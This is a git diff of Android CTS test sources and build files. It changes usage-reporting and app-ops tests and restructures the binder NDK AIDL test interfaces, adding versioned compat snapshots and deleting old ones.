--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
@@ -313,10 +313,12 @@
         mUsageStatsManager.reportUsageStop(activity0, TOKEN_0);
         assertAppOrTokenUsed(mFullToken0, true);
 
-        // Send the device to sleep to get onStop called for the token reporting activities.
-        mUiDevice.sleep();
-        Thread.sleep(1000);
-        assertAppOrTokenUsed(mFullToken0, false);
+        // Send the device to keyguard to get onStop called for the token reporting activities.
+        try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
+            lockScreenSession.gotoKeyguard();
+            Thread.sleep(1000);
+            assertAppOrTokenUsed(mFullToken0, false);
+        }
     }
 
     @Test
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
index ea20c6d..c2cf39e 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
@@ -58,6 +58,7 @@
 import android.os.Handler
 import android.os.IBinder
 import android.os.Looper
+import android.os.Process
 import android.platform.test.annotations.AppModeFull
 import android.provider.ContactsContract
 import android.telephony.TelephonyManager
@@ -89,9 +90,12 @@
     private val context = InstrumentationRegistry.getInstrumentation().targetContext
     private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
 
-    private val myUid = android.os.Process.myUid()
+    private val myUid = Process.myUid()
+    private val myUserHandle = Process.myUserHandle()
     private val myPackage = context.packageName
 
+    private var wasLocationEnabled = false
+
     private lateinit var testService: IAppOpsUserService
     private lateinit var serviceConnection: ServiceConnection
 
@@ -101,6 +105,23 @@
     private val asyncNoted = mutableListOf<AsyncNotedAppOp>()
 
     @Before
+    fun setLocationEnabled() {
+        val locationManager = context.getSystemService(LocationManager::class.java)
+        runWithShellPermissionIdentity {
+            wasLocationEnabled = locationManager.isLocationEnabled
+            locationManager.setLocationEnabledForUser(true, myUserHandle)
+        }
+    }
+
+    @After
+    fun restoreLocationEnabled() {
+        val locationManager = context.getSystemService(LocationManager::class.java)
+        runWithShellPermissionIdentity {
+            locationManager.setLocationEnabledForUser(wasLocationEnabled, myUserHandle)
+        }
+    }
+
+    @Before
     fun loadNativeCode() {
         System.loadLibrary("CtsAppOpsTestCases_jni")
     }
@@ -704,7 +725,7 @@
         private val handler = Handler(Looper.getMainLooper())
         private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
 
-        private val myUid = android.os.Process.myUid()
+        private val myUid = Process.myUid()
         private val myPackage = context.packageName
 
         override fun noteSyncOp() {
diff --git a/tests/tests/background/Android.bp b/tests/tests/background/Android.bp
index 6d45cc3..5dc54e5 100644
--- a/tests/tests/background/Android.bp
+++ b/tests/tests/background/Android.bp
@@ -27,6 +27,7 @@
     srcs: ["src/**/*.java"],
     test_suites: [
         "cts",
+        "general-tests",
     ],
     sdk_version: "test_current",
 }
diff --git a/tests/tests/binder_ndk/Android.bp b/tests/tests/binder_ndk/Android.bp
index 620f793..6aef36d 100644
--- a/tests/tests/binder_ndk/Android.bp
+++ b/tests/tests/binder_ndk/Android.bp
@@ -23,16 +23,18 @@
     static_libs: [
         "ctstestrunner-axt",
         "libbinder_ndk_test_interface-unstable-java",
+        "libbinder_ndk_compat_test_interface-unstable-java",
         "nativetesthelper",
     ],
     jni_libs: [
         "libbinder_ndk_test",
         "libbinder_ndk_test_utilities",
         "libbinder_ndk_test_interface-unstable-ndk",
+        "libbinder_ndk_compat_test_interface-unstable-ndk",
         "libbinder_ndk_test_interface_old",
         "libbinder_ndk_test_interface_new",
     ],
     stl: "c++_shared",
     srcs: ["src/**/*.java"],
-    sdk_version: "current",
+    sdk_version: "system_current",
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index c102b59..936ae5d 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -13,12 +13,21 @@
 // limitations under the License.
 
 filegroup {
+    name: "libbinder_ndk_compat_test_interface_srcs",
+    srcs: [
+        "test_package/Baz.aidl",
+        "test_package/ICompatTest.aidl",
+    ],
+    visibility: ["//visibility:private"]
+}
+
+filegroup {
     name: "libbinder_ndk_test_interface_srcs",
     srcs: [
         "test_package/Bar.aidl",
+        "test_package/Foo.aidl",
         "test_package/ByteEnum.aidl",
         "test_package/FixedSize.aidl",
-        "test_package/Foo.aidl",
         "test_package/IEmpty.aidl",
         "test_package/ITest.aidl",
         "test_package/IntEnum.aidl",
@@ -26,6 +35,9 @@
         "test_package/RegularPolygon.aidl",
         "test_package/GenericFoo.aidl",
         "test_package/GenericBar.aidl",
+        "test_package/ExtendableParcelable.aidl",
+        "test_package/MyExt.aidl",
+        "test_package/SimpleUnion.aidl",
     ],
     visibility: ["//visibility:private"]
 }
@@ -33,13 +45,9 @@
 aidl_interface {
     name: "libbinder_ndk_test_interface",
     srcs: [":libbinder_ndk_test_interface_srcs"],
-    versions: [
-        "1",
-        "2",
-    ],
     backend: {
         java: {
-            sdk_version: "28",
+            sdk_version: "system_current",
         },
         cpp: {
             enabled: false,
@@ -48,8 +56,25 @@
 }
 
 aidl_interface {
-    name: "libbinder_ndk_test_interface_dup",
-    srcs: [":libbinder_ndk_test_interface_srcs"],
+    name: "libbinder_ndk_compat_test_interface",
+    srcs: [":libbinder_ndk_compat_test_interface_srcs"],
+    versions: [
+        "1",
+        "2",
+    ],
+    backend: {
+        java: {
+            sdk_version: "system_current",
+        },
+        cpp: {
+            enabled: false,
+        }
+    },
+}
+
+aidl_interface {
+    name: "libbinder_ndk_compat_test_interface_dup",
+    srcs: [":libbinder_ndk_compat_test_interface_srcs"],
     versions: [
         "1",
     ],
@@ -101,6 +126,7 @@
     // Using the up-to-date version of the interface
     shared_libs: [
         "libbinder_ndk_test_interface-unstable-ndk",
+        "libbinder_ndk_compat_test_interface-unstable-ndk",
         "libbinder_ndk_test_utilities",
     ],
 }
@@ -115,9 +141,10 @@
     // Using the frozen version 1 of the interface
     static_libs: [
         // this refers to the latest stable version which is 1
-        "libbinder_ndk_test_interface_dup-ndk",
+        "libbinder_ndk_compat_test_interface_dup-ndk",
     ],
     shared_libs: [
+        "libbinder_ndk_test_interface-unstable-ndk",
         "libbinder_ndk_test_utilities",
     ],
 }
@@ -135,6 +162,7 @@
     ],
     shared_libs: [
         "libbinder_ndk_test_interface-unstable-ndk",
+        "libbinder_ndk_compat_test_interface-unstable-ndk",
         "libbinder_ndk_test_utilities",
     ],
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/1/.hash b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/1/.hash
new file mode 100644
index 0000000..194c1b0
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/1/.hash
@@ -0,0 +1 @@
+b663b681b3e0d66f9b5428c2f23365031b7d4ba0
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/1/test_package/Baz.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/1/test_package/Baz.aidl
new file mode 100644
index 0000000..a26e8e4
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/1/test_package/Baz.aidl
@@ -0,0 +1,23 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+parcelable Baz {
+  String a = "FOO";
+  int b = 42;
+  float c = 3.140000f;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/1/test_package/ICompatTest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/1/test_package/ICompatTest.aidl
new file mode 100644
index 0000000..e92be81
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/1/test_package/ICompatTest.aidl
@@ -0,0 +1,22 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+interface ICompatTest {
+  test_package.Baz repeatBaz(in test_package.Baz inBaz);
+  String RepeatStringNullableLater(String repeated);
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/2/.hash b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/2/.hash
new file mode 100644
index 0000000..7b2b269
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/2/.hash
@@ -0,0 +1 @@
+2740afaf3b5a0e739c44165c49633a0af87369f2
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/2/test_package/Baz.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/2/test_package/Baz.aidl
new file mode 100644
index 0000000..c952240
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/2/test_package/Baz.aidl
@@ -0,0 +1,24 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+parcelable Baz {
+  String a = "FOO";
+  int b = 42;
+  float c = 3.140000f;
+  @nullable String[] d;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/2/test_package/ICompatTest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/2/test_package/ICompatTest.aidl
new file mode 100644
index 0000000..8135ec9
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/2/test_package/ICompatTest.aidl
@@ -0,0 +1,23 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+interface ICompatTest {
+  test_package.Baz repeatBaz(in test_package.Baz inBaz);
+  @nullable String RepeatStringNullableLater(@nullable String repeated);
+  int NewMethodThatReturns10();
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/current/test_package/Baz.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/current/test_package/Baz.aidl
new file mode 100644
index 0000000..c952240
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/current/test_package/Baz.aidl
@@ -0,0 +1,24 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+parcelable Baz {
+  String a = "FOO";
+  int b = 42;
+  float c = 3.140000f;
+  @nullable String[] d;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/current/test_package/ICompatTest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/current/test_package/ICompatTest.aidl
new file mode 100644
index 0000000..8135ec9
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface/current/test_package/ICompatTest.aidl
@@ -0,0 +1,23 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+interface ICompatTest {
+  test_package.Baz repeatBaz(in test_package.Baz inBaz);
+  @nullable String RepeatStringNullableLater(@nullable String repeated);
+  int NewMethodThatReturns10();
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/1/.hash b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/1/.hash
new file mode 100644
index 0000000..194c1b0
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/1/.hash
@@ -0,0 +1 @@
+b663b681b3e0d66f9b5428c2f23365031b7d4ba0
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/1/test_package/Baz.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/1/test_package/Baz.aidl
new file mode 100644
index 0000000..a26e8e4
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/1/test_package/Baz.aidl
@@ -0,0 +1,23 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+parcelable Baz {
+  String a = "FOO";
+  int b = 42;
+  float c = 3.140000f;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/1/test_package/ICompatTest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/1/test_package/ICompatTest.aidl
new file mode 100644
index 0000000..e92be81
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/1/test_package/ICompatTest.aidl
@@ -0,0 +1,22 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+interface ICompatTest {
+  test_package.Baz repeatBaz(in test_package.Baz inBaz);
+  String RepeatStringNullableLater(String repeated);
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/current/test_package/Baz.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/current/test_package/Baz.aidl
new file mode 100644
index 0000000..c952240
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/current/test_package/Baz.aidl
@@ -0,0 +1,24 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+parcelable Baz {
+  String a = "FOO";
+  int b = 42;
+  float c = 3.140000f;
+  @nullable String[] d;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/current/test_package/ICompatTest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/current/test_package/ICompatTest.aidl
new file mode 100644
index 0000000..8135ec9
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_compat_test_interface_dup/current/test_package/ICompatTest.aidl
@@ -0,0 +1,23 @@
+///////////////////////////////////////////////////////////////////////////////
+// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
+///////////////////////////////////////////////////////////////////////////////
+
+// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
+// edit this file. It looks like you are doing that because you have modified
+// an AIDL interface in a backward-incompatible way, e.g., deleting a function
+// from an interface or a field from a parcelable and it broke the build. That
+// breakage is intended.
+//
+// You must not make a backward incompatible changes to the AIDL files built
+// with the aidl_interface module type with versions property set. The module
+// type is used to build AIDL files in a way that they can be used across
+// independently updatable components of the system. If a device is shipped
+// with such a backward incompatible change, it has a high risk of breaking
+// later when a module using the interface is updated, e.g., Mainline modules.
+
+package test_package;
+interface ICompatTest {
+  test_package.Baz repeatBaz(in test_package.Baz inBaz);
+  @nullable String RepeatStringNullableLater(@nullable String repeated);
+  int NewMethodThatReturns10();
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/.hash b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/.hash
deleted file mode 100644
index 56f551b..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/.hash
+++ /dev/null
@@ -1 +0,0 @@
-d1f6d67f8af3bf736ae93d872660b0c800dd14d9
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl
deleted file mode 100644
index 6a5d253..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl
+++ /dev/null
@@ -1,7 +0,0 @@
-package test_package;
-parcelable Bar {
-  String a = "BAR";
-  String b = "BAR2";
-  float c = 4.200000f;
-  int d = 100;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl
deleted file mode 100644
index 6884107..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package test_package;
-
-@Backing(type="byte")
-enum ByteEnum {
-    FOO = 1,
-    BAR = 2,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl
deleted file mode 100644
index 86af9b6..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl
+++ /dev/null
@@ -1,15 +0,0 @@
-package test_package;
-parcelable Foo {
-  String a = "FOO";
-  int b = 42;
-  float c = 3.140000f;
-  test_package.Bar d;
-  test_package.Bar e;
-  int f = 3;
-  test_package.ByteEnum shouldBeByteBar;
-  test_package.IntEnum shouldBeIntBar;
-  test_package.LongEnum shouldBeLongBar;
-  test_package.ByteEnum[] shouldContainTwoByteFoos;
-  test_package.IntEnum[] shouldContainTwoIntFoos;
-  test_package.LongEnum[] shouldContainTwoLongFoos;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericBar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericBar.aidl
deleted file mode 100644
index 694a1da..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericBar.aidl
+++ /dev/null
@@ -1,22 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericBar<T> {
-  int a;
-  test_package.GenericFoo<int,test_package.Bar,test_package.IntEnum> shouldBeGenericFoo;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericFoo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericFoo.aidl
deleted file mode 100644
index 929b6e5..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericFoo.aidl
+++ /dev/null
@@ -1,22 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL interface (or parcelable). Do not try to
-// edit this file. It looks like you are doing that because you have modified
-// an AIDL interface in a backward-incompatible way, e.g., deleting a function
-// from an interface or a field from a parcelable and it broke the build. That
-// breakage is intended.
-//
-// You must not make a backward incompatible changes to the AIDL files built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericFoo<T, U, V> {
-  int a;
-  int b;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl
deleted file mode 100644
index 2baa52c..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl
+++ /dev/null
@@ -1,3 +0,0 @@
-package test_package;
-interface IEmpty {
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
deleted file mode 100644
index 238a0e7..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
+++ /dev/null
@@ -1,70 +0,0 @@
-package test_package;
-interface ITest {
-  String GetName();
-  void TestVoidReturn();
-  oneway void TestOneway();
-  int GiveMeMyCallingPid();
-  int GiveMeMyCallingUid();
-  oneway void CacheCallingInfoFromOneway();
-  int GiveMeMyCallingPidFromOneway();
-  int GiveMeMyCallingUidFromOneway();
-  int RepeatInt(int value);
-  long RepeatLong(long value);
-  float RepeatFloat(float value);
-  double RepeatDouble(double value);
-  boolean RepeatBoolean(boolean value);
-  char RepeatChar(char value);
-  byte RepeatByte(byte value);
-  test_package.ByteEnum RepeatByteEnum(test_package.ByteEnum value);
-  test_package.IntEnum RepeatIntEnum(test_package.IntEnum value);
-  test_package.LongEnum RepeatLongEnum(test_package.LongEnum value);
-  IBinder RepeatBinder(IBinder value);
-  @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
-  test_package.IEmpty RepeatInterface(test_package.IEmpty value);
-  @nullable test_package.IEmpty RepeatNullableInterface(@nullable test_package.IEmpty value);
-  ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
-  @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
-  String RepeatString(String value);
-  @nullable String RepeatNullableString(@nullable String value);
-  test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
-  @nullable test_package.RegularPolygon RepeatNullablePolygon(in @nullable test_package.RegularPolygon value);
-  void RenamePolygon(inout test_package.RegularPolygon value, String newName);
-  boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
-  byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
-  char[] RepeatCharArray(in char[] input, out char[] repeated);
-  int[] RepeatIntArray(in int[] input, out int[] repeated);
-  long[] RepeatLongArray(in long[] input, out long[] repeated);
-  float[] RepeatFloatArray(in float[] input, out float[] repeated);
